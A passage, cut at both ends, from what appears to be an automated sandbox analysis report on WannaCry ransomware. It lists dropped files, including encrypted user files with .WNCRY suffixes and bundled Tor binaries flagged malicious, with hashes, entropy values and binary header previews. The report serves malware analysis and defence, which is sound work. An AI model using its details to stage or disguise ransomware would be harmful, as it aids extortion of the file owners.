                                      Encrypted:false
                                      SSDEEP:24:bk3ihQg3cvvKLT8yuLjRKDFhzBj/Tw34JVKUvxhC4nQx0etwJiVT85DSIr:bk3Sh3cvKqLjRKD9bEMNJDQxrtwJkw51
                                      MD5:BBC289C45AA4AD6D020F3FD5919702D8
                                      SHA1:0527FDB8A500E42BF8CF98DBFF2817A2D23C042A
                                      SHA-256:C1E919BC47DCB0DEAD2157F8DE4D845BCA7E03BBFBDFB3CD61532E2E458A5D4A
                                      SHA-512:C8DDEF560F6DD77316417F3097C61C13F1A44BFD9D3A08D632543440F4FB82DAE616D693320930B678C6498E65BF32630E00B3D11F641FE91DF2B599C86D0B63
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....OS. .umX]J....#..l....n*...5..#.+...d...y..F...%nc[..W.;..?V.....n...z..;F......{[.!.F.F..f,RD..KM2.<.f...=2R.Le.5...LN.ek.'.gW.?%U.....zx_.....Ny.V..3..-..;...D.K{..8...6"...5....w.N.....R)...3.'..M`.]\..#..a....C..s.h.......S...de.I.F...>.................(.5....hr...Z..W.W{nw.g/. -.....O0...)..h./..#=..0....Fen.F....p......k..<....AKBq.q.#.o5../.8.93......6.....O.5...'.q.&./Y...Y...........2.Mq.X..O..F..%....,F...g......m..5U..A... ..`......ibY..............a...D...L.... !0.!.7.p...$|/..?..h`W]..ppnFaj.y....].kc.r}_.G..y..K}...w..7>...#y.u..$....1.s..R...l.hO.pC.D.b...,q.......$J...y!.....[NYc.G.f.q.]].m.<h4.........p....=...|..<...=.~.z....1........97cw...._.'..Pq}...@......6...%CJ5...]`u..]z...8......./.....w......FV.L.{).5..f...C..>.L....r.b...&q..Xy.Aao..x...b.D....BF....0....m....d<K.c".?...P.......v..nj3R..m..+;.....?y.$,.(...W.o..T...7...f..0.......~....6H.~..&\...t...~+L..c.[;8.......+...._.....t....04..+.G0.2.j#

                                      C:\Users\user\Desktop\SFPUSAFIOL.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.827136684072626
                                      Encrypted:false
                                      SSDEEP:24:bk3ihQg3cvvKLT8yuLjRKDFhzBj/Tw34JVKUvxhC4nQx0etwJiVT85DSIr:bk3Sh3cvKqLjRKD9bEMNJDQxrtwJkw51
                                      MD5:BBC289C45AA4AD6D020F3FD5919702D8
                                      SHA1:0527FDB8A500E42BF8CF98DBFF2817A2D23C042A
                                      SHA-256:C1E919BC47DCB0DEAD2157F8DE4D845BCA7E03BBFBDFB3CD61532E2E458A5D4A
                                      SHA-512:C8DDEF560F6DD77316417F3097C61C13F1A44BFD9D3A08D632543440F4FB82DAE616D693320930B678C6498E65BF32630E00B3D11F641FE91DF2B599C86D0B63
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....OS. .umX]J....#..l....n*...5..#.+...d...y..F...%nc[..W.;..?V.....n...z..;F......{[.!.F.F..f,RD..KM2.<.f...=2R.Le.5...LN.ek.'.gW.?%U.....zx_.....Ny.V..3..-..;...D.K{..8...6"...5....w.N.....R)...3.'..M`.]\..#..a....C..s.h.......S...de.I.F...>.................(.5....hr...Z..W.W{nw.g/. -.....O0...)..h./..#=..0....Fen.F....p......k..<....AKBq.q.#.o5../.8.93......6.....O.5...'.q.&./Y...Y...........2.Mq.X..O..F..%....,F...g......m..5U..A... ..`......ibY..............a...D...L.... !0.!.7.p...$|/..?..h`W]..ppnFaj.y....].kc.r}_.G..y..K}...w..7>...#y.u..$....1.s..R...l.hO.pC.D.b...,q.......$J...y!.....[NYc.G.f.q.]].m.<h4.........p....=...|..<...=.~.z....1........97cw...._.'..Pq}...@......6...%CJ5...]`u..]z...8......./.....w......FV.L.{).5..f...C..>.L....r.b...&q..Xy.Aao..x...b.D....BF....0....m....d<K.c".?...P.......v..nj3R..m..+;.....?y.$,.(...W.o..T...7...f..0.......~....6H.~..&\...t...~+L..c.[;8.......+...._.....t....04..+.G0.2.j#

                                      C:\Users\user\Desktop\SQRKHNBNYN.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.7697803297960615
                                      Encrypted:false
                                      SSDEEP:24:nmdJChryHiUrxc9QK6sW6/av9aN9wOpySmG2khn:nmdJyyNrxMQK6Q/Q9s9tASmbkh
                                      MD5:177F8C6872477462B8A365CE0D5A0674
                                      SHA1:91CD804111BEF139875CFBD056077C9DD0CE4182
                                      SHA-256:37954B617CA00B74575ED73E2576DA49C6B358311AAA13704B788CB277675951
                                      SHA-512:AFEB53F04437B44331F295DA52EF8F9E0C7284728F842CEEB9418656F52DD5AD1F912B0BB80CCBCBDFCC2C8B5977DB2702D0E7257106E9B7F09A47134FFDDD7E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:JK.[...$.}%=T...Ef...(...~.C...yXA<...A.fLQ..+&.K}}.`..pY.b.G...q.T&..*..6.T..).e.~./.%..6....=..j|$*+...S..+.......hYb$e...j..(.r.*.q.eN..vL...z....B."..Zi.....2...h..T).4.........D.....L!*4....l.B..[.[g.p.V.....:.nW...sC.Y`.s....m.j.??...9...6....-E.Xe#m.....Q7....5.T...@O.....?\..usvoX.,...h..cD:...h~-Y....J..(L..].W....c..*.?.#aO/.K..2..;..$.....k.z(N-9l..d....{.,.ZM..R.%.>c.p..1.4q.7o$....!.H.u.._H...[?..`.F.J..^.......<.Ea|..#...p.......j.5...*.o=*.i. ...S...%...c<jE.......;.#..4....j\......o...H...bBN..d..SH=..Q.K.;p.lnk.'...7%.......O..ag!.\C..Wf*.mr%$.+.'.D.....5o.(...b...\k'...m.5..*....)......1b......{....X..j.jc..+..{.$-;...5......E.2$..fC..Q........p..Z.^..4.^.t.i...P....,.....k+<..e...........K...+.b.S...L_.@..~F.....aj.:...a*yr..mW..e..B.v..'[.z<.o..(......|h.......L6.L.-.H....U....~.......K..}~ .R2..xVP.A.....e.d.&.h...khu......+?....CN{....`._.k...2.H.$6..)..>p..X...............:11...J.za....N ..0..[.PI,...I.Sh\T.@7.N

                                      C:\Users\user\Desktop\SQRKHNBNYN.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.844389477851718
                                      Encrypted:false
                                      SSDEEP:24:bkUo/t5BrtTD6J18buLVbzSR55h6uTEhotuGB9MQT6YB80jqjVy7Ca:bkLLqmuhqRh6u4hyu+ukBjqjVy7Ca
                                      MD5:910610BA9396DBB66B3213924C8ABB5B
                                      SHA1:6A63C269C4776C0729147364B784F0BEBEC98B66
                                      SHA-256:71ACA75AFBC9547F52D62CF629437896AAFB2B521318CE56E70FD43C4B959608
                                      SHA-512:96CD8AB92860C416F55F50CA8E4E92E0B59FFE881E6AB9DEA8975DAEC7E69D758D2E2D56F55780C73F6FD71DAF6B3227ED0C2CEE00A87B5F2F134999E85C840B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....I....x.c6..*.$...R..7...k2.67*.Ws....!y.g....53....h........#t.#......~P...g..6...no....~..~BCD.ex.2.\....s.p...g.....6.....2..&......Nd..q.T....*)G.^.dqg.Y..|.S. ....U.E.[....g.,. \'- .p.z.....^..$6..NT?.'y6..T.m7M46......ngE.4zJ.k..2.YP.J..................{.N%../.g......J.>G.5.$....=.^........h?^.k.z^L.....z.Ac. .@Zep......&y...[mK.K...U.q.. .R....%Q.w.......o`...Q.|.....|C...x"..R[.....B....M.t.U..xe.../..~Y..)E...M7.+.(;........_..y..p;..07%.@bf..q....Yv6I.sT....^~._.#.e.i9q..Z#.(N..[ez.)v.0....+.n.{Oi6v...z.o..P.K..Jl#..#_.(..c..W.-...."nI....G......!..)d..].t.|.'_..^.Lt=.e+.W......(.@N........\.L.j.*..6..M'CI..._....6.....9.E/..ao=...........S...*X..@.CT.tT...8.R.k#.>e...]-.j.i....%|s....!.*yA......7.s......c........OQv......m..\Q.S...Y.;.|.?.P..h.jl..PVP..~MV,...%a.VxvK)...tV..`.>.TV=.......c7.....h..a.....f..U7..".a.q..h.....@UM.LG......f`........6..B.-.....n]p=...O...0.VZ.9b..["R....".o,.k>d...$Y?.3qp.N.....R........

                                      C:\Users\user\Desktop\SQRKHNBNYN.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.844389477851718
                                      Encrypted:false
                                      SSDEEP:24:bkUo/t5BrtTD6J18buLVbzSR55h6uTEhotuGB9MQT6YB80jqjVy7Ca:bkLLqmuhqRh6u4hyu+ukBjqjVy7Ca
                                      MD5:910610BA9396DBB66B3213924C8ABB5B
                                      SHA1:6A63C269C4776C0729147364B784F0BEBEC98B66
                                      SHA-256:71ACA75AFBC9547F52D62CF629437896AAFB2B521318CE56E70FD43C4B959608
                                      SHA-512:96CD8AB92860C416F55F50CA8E4E92E0B59FFE881E6AB9DEA8975DAEC7E69D758D2E2D56F55780C73F6FD71DAF6B3227ED0C2CEE00A87B5F2F134999E85C840B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....I....x.c6..*.$...R..7...k2.67*.Ws....!y.g....53....h........#t.#......~P...g..6...no....~..~BCD.ex.2.\....s.p...g.....6.....2..&......Nd..q.T....*)G.^.dqg.Y..|.S. ....U.E.[....g.,. \'- .p.z.....^..$6..NT?.'y6..T.m7M46......ngE.4zJ.k..2.YP.J..................{.N%../.g......J.>G.5.$....=.^........h?^.k.z^L.....z.Ac. .@Zep......&y...[mK.K...U.q.. .R....%Q.w.......o`...Q.|.....|C...x"..R[.....B....M.t.U..xe.../..~Y..)E...M7.+.(;........_..y..p;..07%.@bf..q....Yv6I.sT....^~._.#.e.i9q..Z#.(N..[ez.)v.0....+.n.{Oi6v...z.o..P.K..Jl#..#_.(..c..W.-...."nI....G......!..)d..].t.|.'_..^.Lt=.e+.W......(.@N........\.L.j.*..6..M'CI..._....6.....9.E/..ao=...........S...*X..@.CT.tT...8.R.k#.>e...]-.j.i....%|s....!.*yA......7.s......c........OQv......m..\Q.S...Y.;.|.?.P..h.jl..PVP..~MV,...%a.VxvK)...tV..`.>.TV=.......c7.....h..a.....f..U7..".a.q..h.....@UM.LG......f`........6..B.-.....n]p=...O...0.VZ.9b..["R....".o,.k>d...$Y?.3qp.N.....R........

                                      C:\Users\user\Desktop\SQSJKEBWDT.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.820373538213213
                                      Encrypted:false
                                      SSDEEP:24:Tzff+t817bj+SBrsnnnQ4NbR2Fr8N5nfTtKiSNuAzFyn:Tz+igSwjNbRuy5nfTtlw5s
                                      MD5:3B35BD0F2AA73C4BCA749EB6D29E1BEC
                                      SHA1:609DEFA30D43AE8B6E088A4405FD0279EC8127EA
                                      SHA-256:BDAC5E7289AD16BFB463E9DF291624535C0752671781C89E1592BDBE4BF7674A
                                      SHA-512:25543CD38617CFEEFD065A9EF65953B911FB2415F5BE751C99BAD8AADE98866290786E4D277A68DCA8C09DC902B2394F55FC6D7F133172A6F0B5E9C0958D21A5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...I.,...%..{..i...j).K.7.Y1./...B.ol.....&..e.v{..H.!3z1.......K.....ft.#l.4.w._`.P..yQ...[>w.S&.3...]..a@>..h....Z......[......[.t..E.....i.D.-....;P.P......t,....A.2.fHQ(+[)...\..n..'0.7.Jf....UD... .._.f+./.....EeS.....v...<.,m.x#.V....{.C...Y.`U...\4..?;(9.......TQu.@.2..=.x.L.s........W..t.s.2....7#.I1I(....`...(.>.^}M.Y.s.\.~ e.^,V..$.?.*m..,..T*.7.{........Y....s.0.[E..?..H%=..oX.7p..B..^.O..D..Pkr...p..V..Z.c!G...;..&.iN.2......ZFu..r..!49.N..:.E'G....G...q.W.r..%..!..*.....?1...D...`.R.................?+..WS.......|. .u....u.8...s$.N.....p...<.;..%.{......? L..2e..Fd....x..#c).i.s.d..o.M9b....r-...............;...VX...`.....-..3.f...A.......A..V..N".......y...5.D?!(9....,...R...AK..2...x=.C...p..)VQ..{5Ys:15.3.$.....b.....1:..A...U..p..x...h.1e.........+.6|a.@j....D.A;.7.bR...!..*.t.........T...H....E.r..&2e!}e@..:W%>.i&...DG3......j...s.[w.-...z...........'-....=.]8....ueE.D.b}p.6.QP$x.c.y.....8..0....:..71...Pa.b.C..s.>.....B.5

                                      C:\Users\user\Desktop\SQSJKEBWDT.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.834176204784281
                                      Encrypted:false
                                      SSDEEP:24:bk0IvuGA6i9uJgeFomR4HoIavY/I1plHICqAnOBq7hVZbjfKz1z6:bks9vsvT4IQIyCqAtJjfD
                                      MD5:565F63887A2B8D26D2A6A1FABFCF169B
                                      SHA1:D72C6FDB92B0B94B0308CEC1312F60B8AB218F4F
                                      SHA-256:E2A4893E94C250CDB3148DAE3479F97D0EB6936304AF16EEDBDF91F3A4010978
                                      SHA-512:8E40894675D4C584A931282522223762F74BA135F5F0F48B8FABE2B52AC55F568532D292EB3685836FF8C44FA528C5A6F4597B282324D0266E621D3CB9D9935C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...............6<[e..j.Oi.......3.).. ..9t..`.4.Qz.$3H:.BCS*b...n...{$..I....Z..R-D.[.j.....9.\.H....0........p..*[F.........i..... ......O/fq{.l..B.{V..<.t.dh..j^..vx<...c...p..(I....<....h$...).f...#....oF\.O.....$S*.4!W6.8n...l.E.j.......A....................3...!rA..h[H2.z..#.~...G`....|*E6....;....2....;2J!$.....w......s..pP....6.j..../.X'4.^....9..;J...{....oX?0...p..f+........<..#.......?..`../Q...|v\.7%....O.F..#....\..'.'....g.d&..w}9$qPQ.....PT......|...`.!2..Y<,pm..1sk...L+.%....tAg/..+..r....|..T...v..}..C.%.'.....=.....X.;...a.t{l..Xk..>rw..8.`B.gP.S....R.C#..]I.....{...E..A.L..M..........xQ]6..l@...........7Ql.qh......-....1..r0#T.......Z.TbM.I...j7.nT....Z.b......j..HM.(...P.j;...l.N.^ox..f...8=..LN..[EE."...Prk.P.Q.!Wh.`p..../uY./.U..^z....._df....AI9...]z.x./.T-....F.bT4H.....2.a..d`....gK,T.....X.....9..)_.I.X.'e.l-.d............_....%...\..$.V.z./4U..R..j..a......T.V.....w...g.......:h2.*wz.-.=M.s..YC2b@..{J...

                                      C:\Users\user\Desktop\SQSJKEBWDT.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.834176204784281
                                      Encrypted:false
                                      SSDEEP:24:bk0IvuGA6i9uJgeFomR4HoIavY/I1plHICqAnOBq7hVZbjfKz1z6:bks9vsvT4IQIyCqAtJjfD
                                      MD5:565F63887A2B8D26D2A6A1FABFCF169B
                                      SHA1:D72C6FDB92B0B94B0308CEC1312F60B8AB218F4F
                                      SHA-256:E2A4893E94C250CDB3148DAE3479F97D0EB6936304AF16EEDBDF91F3A4010978
                                      SHA-512:8E40894675D4C584A931282522223762F74BA135F5F0F48B8FABE2B52AC55F568532D292EB3685836FF8C44FA528C5A6F4597B282324D0266E621D3CB9D9935C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...............6<[e..j.Oi.......3.).. ..9t..`.4.Qz.$3H:.BCS*b...n...{$..I....Z..R-D.[.j.....9.\.H....0........p..*[F.........i..... ......O/fq{.l..B.{V..<.t.dh..j^..vx<...c...p..(I....<....h$...).f...#....oF\.O.....$S*.4!W6.8n...l.E.j.......A....................3...!rA..h[H2.z..#.~...G`....|*E6....;....2....;2J!$.....w......s..pP....6.j..../.X'4.^....9..;J...{....oX?0...p..f+........<..#.......?..`../Q...|v\.7%....O.F..#....\..'.'....g.d&..w}9$qPQ.....PT......|...`.!2..Y<,pm..1sk...L+.%....tAg/..+..r....|..T...v..}..C.%.'.....=.....X.;...a.t{l..Xk..>rw..8.`B.gP.S....R.C#..]I.....{...E..A.L..M..........xQ]6..l@...........7Ql.qh......-....1..r0#T.......Z.TbM.I...j7.nT....Z.b......j..HM.(...P.j;...l.N.^ox..f...8=..LN..[EE."...Prk.P.Q.!Wh.`p..../uY./.U..^z....._df....AI9...]z.x./.T-....F.bT4H.....2.a..d`....gK,T.....X.....9..)_.I.X.'e.l-.d............_....%...\..$.V.z./4U..R..j..a......T.V.....w...g.......:h2.*wz.-.=M.s..YC2b@..{J...

                                      C:\Users\user\Desktop\TaskData\Tor\libeay32.dll

                                      Download File
                                      Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):3197106
                                      Entropy (8bit):6.130063064844696
                                      Encrypted:false
                                      SSDEEP:98304:W5FYc9YouOquJVqrR1LlZRUT83DlJrqd+kq:WrjYouOquJgrlZ283xFqdq
                                      MD5:6ED47014C3BB259874D673FB3EAEDC85
                                      SHA1:C9B29BA7E8A97729C46143CC59332D7A7E9C1AD8
                                      SHA-256:58BE53D5012B3F45C1CA6F4897BECE4773EFBE1CCBF0BE460061C183EE14CA19
                                      SHA-512:3BC462D21BC762F6EEC3D23BB57E2BAF532807AB8B46FAB1FE38A841E5FDE81ED446E5305A78AD0D513D85419E6EC8C4B54985DA1D6B198ACB793230AEECD93E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......... ........!.....J... ..0...........`.....c..........................!.......0...@... .........................A....`..\.......<.......................h...................................................4c...............................text....H.......J..................`.p`.data...\d...`...f...P..............@.`..rdata..............................@.`@.bss.........p........................`..edata..A............V..............@.0@.idata..\....`......................@.0..CRT....,...........................@.0..tls.... ............ ..............@.0..rsrc...<............"..............@.0..reloc..h............(..............@.0B/4............ ......& .............@.@B/19.....;z.... ..|...( .............@..B/31.....`....@!....... .............@..B/45.....'....`!....... .............@..B/57...........!....... .............@.0B/70.....".....!....... .

                                      C:\Users\user\Desktop\TaskData\Tor\libevent-2-0-5.dll

                                      Download File
                                      Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):719217
                                      Entropy (8bit):5.981438230537172
                                      Encrypted:false
                                      SSDEEP:6144:Ir2r5rFriGKbgai112Yq/5hcQTcGzAHzSHeqoftOEEdD4B2pihSpKOKm:naiV25uQTcGzAHOEW+Pzm
                                      MD5:90F50A285EFA5DD9C7FDDCE786BDEF25
                                      SHA1:54213DA21542E11D656BB65DB724105AFE8BE688
                                      SHA-256:77A250E81FDAF9A075B1244A9434C30BF449012C9B647B265FA81A7B0DB2513F
                                      SHA-512:746422BE51031CFA44DD9A6F3569306C34BBE8ABF9D2BD1DF139D9C938D0CBA095C0E05222FD08C8B6DEAEBEF5D3F87569B08FB3261A2D123D983517FB9F43AE
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........t.........!.....@...................P.....e......................... ............@... ......................P..4H......................................t+.....................................................4............................text...T?.......@..................`.P`.data........P.......F..............@.`..rdata.. ....`.......J..............@.`@.bss.........0........................`..edata..4H...P...J..................@.0@.idata...............X..............@.0..CRT....,............h..............@.0..tls.... ............j..............@.0..reloc..t+.......,...l..............@.0B/4..................................@.@B/19.................................@..B/31......(.......*...|..............@..B/45.....1*... ...,..................@..B/57..........P......................@.0B/70.....v....p......................@..B/81....................

                                      C:\Users\user\Desktop\TaskData\Tor\libevent_core-2-0-5.dll

                                      Download File
                                      Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):417759
                                      Entropy (8bit):5.853358941151938
                                      Encrypted:false
                                      SSDEEP:6144:g8r2rQrFr0XGXnZ7rvzRsiWqnjmYl5oHIH9A:gtXGJnvmiggA
                                      MD5:E5DF3824F2FCAD0C75FD601FCF37EE70
                                      SHA1:902418A4C5F3684DBA5E3246DE8C4E21C92D674E
                                      SHA-256:5CD126B4F8C77BDF0C5C980761A9C84411586951122131F13B0640DB83F792D8
                                      SHA-512:7E70889B46B54175C6BADA7F042F5730CA7E3D156F7B6711FDF453911E4F78D64A2A8769EB8F0E33E826A3B30E623B3CD4DAF899D9D74888BB3051F08CF34461
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........k......!.....`...4...............p.....b......................................@... ..............................@...............................p...............................`......................pB...............................text...._.......`..................`.P`.data........p.......f..............@.`..rdata..xr.......t...j..............@.`@.bss..................................`..edata...........0..................@.0@.idata.......@......................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..reloc.......p....... ..............@.0B/4......P............:..............@.@B/19.................>..............@..B/31..........0......................@..B/45..........P......................@..B/57.....<....p......................@.0B/70....."...........................@..B/81.....B...............

                                      C:\Users\user\Desktop\TaskData\Tor\libevent_extra-2-0-5.dll

                                      Download File
                                      Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):411369
                                      Entropy (8bit):5.909395689751269
                                      Encrypted:false
                                      SSDEEP:3072:oLQzG3CaDYuKCsZW9p2M8suCOSNKOM0LE5BtBsxvQkVgA2+FOYtLEgZEVPSm0aQY:oWHMACLoYaQ2bj+b0pJ
                                      MD5:6D6602388AB232CA9E8633462E683739
                                      SHA1:41072CC983568D8FEEB3E18C4B74440E9D44019A
                                      SHA-256:957D58061A42CA343064EC5FB0397950F52AEDF0594A18867D1339D5FBB12E7E
                                      SHA-512:B37BF121EA20FFC16AF040F8797C47FA8588834BC8A8115B45DB23EE5BFBEBCD1E226E9ACAB67B5EE43629A255FEA2CEEE4B3215332DD4127F187EE10244F1C3
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........b.........!...............................l......................... ............@... .................................................................h...................................................L................................text...............................`.P`.data...............................@.`..rdata..DR... ...T..................@.`@.bss..................................`..edata...............T..............@.0@.idata...............p..............@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc..h...........................@.0B/4......8...........................@.@B/19.....W.... ......................@..B/31......%.......&...v..............@..B/45......&...0...(..................@..B/57..........`......................@.0B/70.....v....p......................@..B/81.....................

                                      C:\Users\user\Desktop\TaskData\Tor\libgcc_s_sjlj-1.dll

                                      Download File
                                      Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):523262
                                      Entropy (8bit):5.7796587531390795
                                      Encrypted:false
                                      SSDEEP:6144:+ymz8Jq1p95avGpuO+/jUE8ADu2kNBMY8KHNygoB0+6tMqSsVwvN:+ylSZ+/jU7ynIK5Bb6Y
                                      MD5:73D4823075762EE2837950726BAA2AF9
                                      SHA1:EBCE3532ED94AD1DF43696632AB8CF8DA8B9E221
                                      SHA-256:9AECCF88253D4557A90793E22414868053CAAAB325842C0D7ACB0365E88CD53B
                                      SHA-512:8F4A65BD35ED69F331769AAF7505F76DD3C64F3FA05CF01D83431EC93A7B1331F3C818AC7008E65B6F1278D7E365ED5940C8C6B8502E77595E112F1FACA558B5
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................!.....B...p...............`.....l.........................p......5(....@... .................................l....................................................................................................................text...X@.......B..................`.P`.data...8....`.......H..............@.0..rdata..<....p.......J..............@.`@.bss..................................`..edata...............Z..............@.0@.idata..l............f..............@.0..CRT....,............l..............@.0..tls.... ............n..............@.0..reloc...............p..............@.0B/4...................v..............@.@B/19.....Du.......v..................@..B/31....._o...p...p..................@..B/45..................l..............@..B/57.....|-...p......................@.0B/70.....J...........................@..B/81.................(..

                                      C:\Users\user\Desktop\TaskData\Tor\libssp-0.dll

                                      Download File
                                      Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):92599
                                      Entropy (8bit):5.351249974009154
                                      Encrypted:false
                                      SSDEEP:1536:pEiL38qIuOFcErNX5d0tRCZiBP2DrbjgpfM2ydbv:aiLsqIHFPpdiU2q
                                      MD5:78581E243E2B41B17452DA8D0B5B2A48
                                      SHA1:EAEFB59C31CF07E60A98AF48C5348759586A61BB
                                      SHA-256:F28CAEBE9BC6AA5A72635ACB4F0E24500494E306D8E8B2279E7930981281683F
                                      SHA-512:332098113CE3F75CB20DC6E09F0D7BA03F13F5E26512D9F3BEE3042C51FBB01A5E4426C5E9A5308F7F805B084EFC94C28FC9426CE73AB8DFEE16AB39B3EFE02A
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................!.........4...............0.....h................................<.....@... ......................`..i....p..................................@....................................................q...............................text...............................`.P`.data........0......."..............@.0..rdata..h....@.......$..............@.0@.bss.........P........................`..edata..i....`.......*..............@.0@.idata.......p.......,..............@.0..CRT....,............2..............@.0..tls.... ............4..............@.0..reloc..@............6..............@.0B/4...................:..............@.@B/19.....n|.......~...<..............@..B/31..........@......................@..B/45..........`......................@..B/57.....$...........................@.0B/70....."...........................@..B/81.....w...............

                                      C:\Users\user\Desktop\TaskData\Tor\ssleay32.dll

                                      Download File
                                      Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):711459
                                      Entropy (8bit):5.884120014912355
                                      Encrypted:false
                                      SSDEEP:12288:hXhKnXI0Fkw80VEJtzwIA6Ouah6ESyrWlp36Z:thKnnkw80VEJtzwIAiazSxlFw
                                      MD5:A12C2040F6FDDD34E7ACB42F18DD6BDC
                                      SHA1:D7DB49F1A9870A4F52E1F31812938FDEA89E9444
                                      SHA-256:BD70BA598316980833F78B05F7EEAEF3E0F811A7C64196BF80901D155CB647C1
                                      SHA-512:FBE0970BCDFAA23AF624DAAD9917A030D8F0B10D38D3E9C7808A9FBC02912EE9DAED293DBDEA87AA90DC74470BC9B89CB6F2FE002393ECDA7B565307FFB7EC00
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........p..y .....!..............................@n......................... .......4....@... ......................0..m)...`...4......<.......................85..................................................,g...............................text...............................`.P`.data....-..........................@.`..rdata.......@.......0..............@.`@.bss....d.... ........................`..edata..m)...0...*..................@.0@.idata...4...`...6...6..............@.0..CRT....,............l..............@.0..tls.... ............n..............@.0..rsrc...<............p..............@.0..reloc..85.......6...v..............@.0B/4..................................@.@B/19.....n|... ...~..................@..B/31..................,..............@..B/45..................B..............@..B/57.....$............T..............@.0B/70....."............\..

                                      C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe

                                      Download File
                                      Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      File Type:PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
                                      Category:dropped
                                      Size (bytes):3098624
                                      Entropy (8bit):6.512654975680739
                                      Encrypted:false
                                      SSDEEP:49152:5m9/gUvHrLaQ4Dt4PC+3xhae2cQX7E5zNvQIJZW/1h4+o4:MiuLSDt2C+3baAQX7ETQIr+h4+o
                                      MD5:FE7EB54691AD6E6AF77F8A9A0B6DE26D
                                      SHA1:53912D33BEC3375153B7E4E68B78D66DAB62671A
                                      SHA-256:E48673680746FBE027E8982F62A83C298D6FB46AD9243DE8E79B7E5A24DCD4EB
                                      SHA-512:8AC6DC5BB016AFC869FCBB713F6A14D3692E866B94F4F1EE83B09A7506A8CB58768BD47E081CF6E97B2DACF9F9A6A8CA240D7D20D0B67DBD33238CC861DEAE8F
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Cm8..................#..D/..H............#...@.........................../......./...@... .............................. ...2..............................D]...........................p.......................'...............................text...t.#.......#.................`.P`.data.........#.......#.............@.`..rdata........$.......$.............@.`@.bss....`G....-.......................`..idata...2... ...4....-.............@.0..CRT....4....`........-.............@.0..tls.... ....p........-.............@.0..reloc..D].......^....-.............@.0B................................................................................................................................................................................................................................................................................................................

                                      C:\Users\user\Desktop\TaskData\Tor\tor.exe

                                      Download File
                                      Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                      File Type:PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
                                      Category:dropped
                                      Size (bytes):3098624
                                      Entropy (8bit):6.512654975680739
                                      Encrypted:false
                                      SSDEEP:49152:5m9/gUvHrLaQ4Dt4PC+3xhae2cQX7E5zNvQIJZW/1h4+o4:MiuLSDt2C+3baAQX7ETQIr+h4+o
                                      MD5:FE7EB54691AD6E6AF77F8A9A0B6DE26D
